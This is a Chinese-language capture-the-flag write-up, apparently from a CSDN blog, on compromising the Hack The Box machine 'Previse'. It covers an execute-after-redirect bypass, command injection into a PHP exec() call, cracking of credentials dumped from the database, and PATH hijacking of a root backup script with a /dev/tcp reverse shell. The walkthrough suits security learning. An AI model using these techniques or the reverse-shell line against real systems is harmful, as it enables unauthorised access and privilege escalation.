• 【Hack The Box】linux练习-- Previse


    HTB 学习笔记

    Hack The Box】linux练习-- Previse


    🔥系列专栏:Hack The Box
    🎉欢迎关注🔎点赞👍收藏⭐️留言📝
    📆首发时间:🌴2022年11月27日🌴
    🍭作者水平很有限,如果发现错误,还望告知,感谢!

    在这里插入图片描述

    信息收集

    22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 
    80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu)
    
    • 1
    • 2

    有价值的就这么两个

    在这里插入图片描述
    页面底部有一个
    m4lwhere
    可能是一个用户名
    在这里插入图片描述
    抓包分析的时候发现它不光返回302,还返回一个完整的页面

    ear

    这是 重定向后执行 (EAR) 漏洞 。 PHP 代码可能会检查会话,如果没有,则发送重定向。 这是来自 OWASP 页面的示例:

    <?php if (!$loggedin) {
         print "\n\n"; 
    } ?>
    
    • 1
    • 2
    • 3

    基于ear的重定向绕过

    首先对bp进行设置,可以抓响应包
    在这里插入图片描述在这里插入图片描述我把302 notfound改成200 ok(大写)

    在这里插入图片描述
    这个页面不是很有用,但它在那里。 顶部的链接指向另外四个页面:

    帐户 ( /accounts.php)
    文件 ( /files.php)
    管理菜单 –> 网站状态 ( /status.php)
    管理菜单 –> 日志数据 ( file_logs.php)
    
    • 1
    • 2
    • 3
    • 4

    我试图添加一个用户

    在这里插入图片描述
    在这里插入图片描述这里同样是一个302,我们依旧可以修改成200来成功添加用户

    而后可以不用bp了,正常登陆
    而后来到files目录
    在这里插入图片描述
    有这个压缩包,点一下下载下来

    源码分析

    检索一下危险函数

    grep -R -e system -e exec -e passthru -e '`' -e popen -e proc_open *
    
    • 1

    看到存在危险函数
    在这里插入图片描述
    出问题的源码(logs.php)

    <?php
    session_start();
    if (!isset($_SESSION['user'])) {
        header('Location: login.php');
        exit;
    }
    ?>
    
    <?php
    if (!$_SERVER['REQUEST_METHOD'] == 'POST') {
        header('Location: login.php');
        exit;
    }
    $output = exec("/usr/bin/python /opt/scripts/log_process.py {$_POST['delim']}");
    echo $output;
    
    $filepath = "/var/www/out.log";
    $filename = "out.log";
    
    if(file_exists($filepath)) {
        header('Content-Description: File Transfer');
        header('Content-Type: application/octet-stream');
        header('Content-Disposition: attachment; filename="'.basename($filepath).'"');
        header('Expires: 0');
        header('Cache-Control: must-revalidate');
        header('Pragma: public');
        header('Content-Length: ' . filesize($filepath));
        ob_clean(); // Discard data in the output buffer
        flush(); // Flush system headers
        readfile($filepath);
        die();
    } else {
        http_response_code(404);
        die();
    }
    ?> 
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35
    • 36

    可以看到
    在将用户输入放入调用之前没有对用户输入进行清理 exec,这意味着我可以添加各种注入来执行,比如
    ; [command]和 $([command])

    在这里插入图片描述我们选space模式,而后跟一个bash的反弹命令即可
    用分号做隔断

    在这里插入图片描述

    www->

    先建立一个稳定的shell

    script /dev/null -c bash
    
    • 1

    在/var/www/html/config.php下找到了凭据
    在这里插入图片描述

    $user = 'root';
    $passwd = 'mySQL_p@ssw0rd!:)';
    
    • 1
    • 2

    密码不能复用,我将在数据库寻找答案

    mysql -h localhost -u root -p'mySQL_p@ssw0rd!:)'
    show databases;
    use previse;
    show tables;
    describe files;//描述一下这个表,防止太大了一下挤爆靶场
    
    • 1
    • 2
    • 3
    • 4
    • 5
    +-------------+--------------+------+-----+-------------------+----------------+
    | Field       | Type         | Null | Key | Default           | Extra          |
    +-------------+--------------+------+-----+-------------------+----------------+
    | id          | int(11)      | NO   | PRI | NULL              | auto_increment |
    | name        | varchar(255) | NO   |     | NULL              |                |
    | size        | int(11)      | NO   |     | NULL              |                |
    | user        | varchar(255) | YES  |     | NULL              |                |
    | data        | blob         | YES  |     | NULL              |                |
    | upload_time | datetime     | YES  |     | CURRENT_TIMESTAMP |                |
    | protected   | tinyint(1)   | YES  |     | 0                 |                |
    +-------------+--------------+------+-----+-------------------+----------------+
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11

    发现文件很大,所以不能直接select打开

    select name,size,user,protected from files;

    在这里插入图片描述再看下一个表

    describe accounts;
    select * from accounts;
    
    • 1
    • 2
    +----+----------+------------------------------------+---------------------+
    | id | username | password                           | created_at          |
    +----+----------+------------------------------------+---------------------+
    |  1 | m4lwhere | $1$🧂llol$DQpmdvnb7EeuO6UaqRItf. | 2021-05-27 18:18:36 |
    |  2 | 0xdff    | $1$🧂llol$H.PGkFFp/y7qUAVKR4VKK1 | 2021-07-16 20:04:52 |
    +----+----------+------------------------------------+---------------------+
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6

    得到了一组凭据

    m4lwhere 
     $1$🧂llol$DQpmdvnb7EeuO6UaqRItf.
    
    • 1
    • 2

    这为啥有个奶瓶?

    hashcat -m 500 m4lwhere.hash /usr/share/wordlists/rockyou.txt
    
    $1$🧂llol$DQpmdvnb7EeuO6UaqRItf.:ilovecody112235!
    
    • 1
    • 2
    • 3

    凭据如下

    m4lwhere/ilovecody112235!
    
    • 1

    而后登陆m4lwhere用户
    直接su即可
    在这里插入图片描述sudo -l显示他可以执行那个backup脚本

    在这里插入图片描述
    cat打开看看

    #!/bin/bash
    # We always make sure to store logs, we take security SERIOUSLY here
    # I know I shouldnt run this as root but I cant figure it out programmatically on my account
    # This is configured to run with cron, added to sudo so I can run as needed - we'll fix it later when there's time
    gzip -c /var/log/apache2/access.log > /var/backups/$(date --date="yesterday" +%Y%b%d)_access.gz
    gzip -c /var/www/file_access.log > /var/backups/$(date --date="yesterday" +%Y%b%d)_file_access.gz
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6

    在这里插入图片描述
    看起来这个脚本有点问题,并且是个计划任务应该,因为他提到了cron
    该脚本正在将日志备份到 /var/backups:

    命令挟持

    该脚本的漏洞在于 gzip在没有完整路径的情况下被调用。
    在 /tmp我将创建一个名为 gzip的文件
    生成一个反向 shell:

    #!/bin/bash
    
    bash -i >& /dev/tcp/10.10.14.29/4444 0>&1
    
    • 1
    • 2
    • 3

    添加自制gzip到临时环境变量

    export PATH=/tmp:$PATH
    
    • 1

    记得赋权

    在这里插入图片描述

  • 相关阅读:
    数据结构 | 顺序表SeqList【增、删、查、改~】
    基于YOLO算法的单目相机2D测量(工件尺寸和物体尺寸)三
    数据结构:顺序表
    数据平滑处理-均值|中值|Savitzky-Golay滤波器
    简单好用的CHM文件阅读器 CHM Viewer Star最新 for mac
    Threadlocal 运用与实现原理总结
    Trace 在多线程异步体系下传递最佳实践
    openstack-同一物理机中透传不同GPU时的nova配置记录
    DDD实践_如何使用DDD设计代码模型
    2153. The Number of Passengers in Each Bus II(当时不会)(NO)
  • 原文地址:https://blog.csdn.net/weixin_65527369/article/details/128024955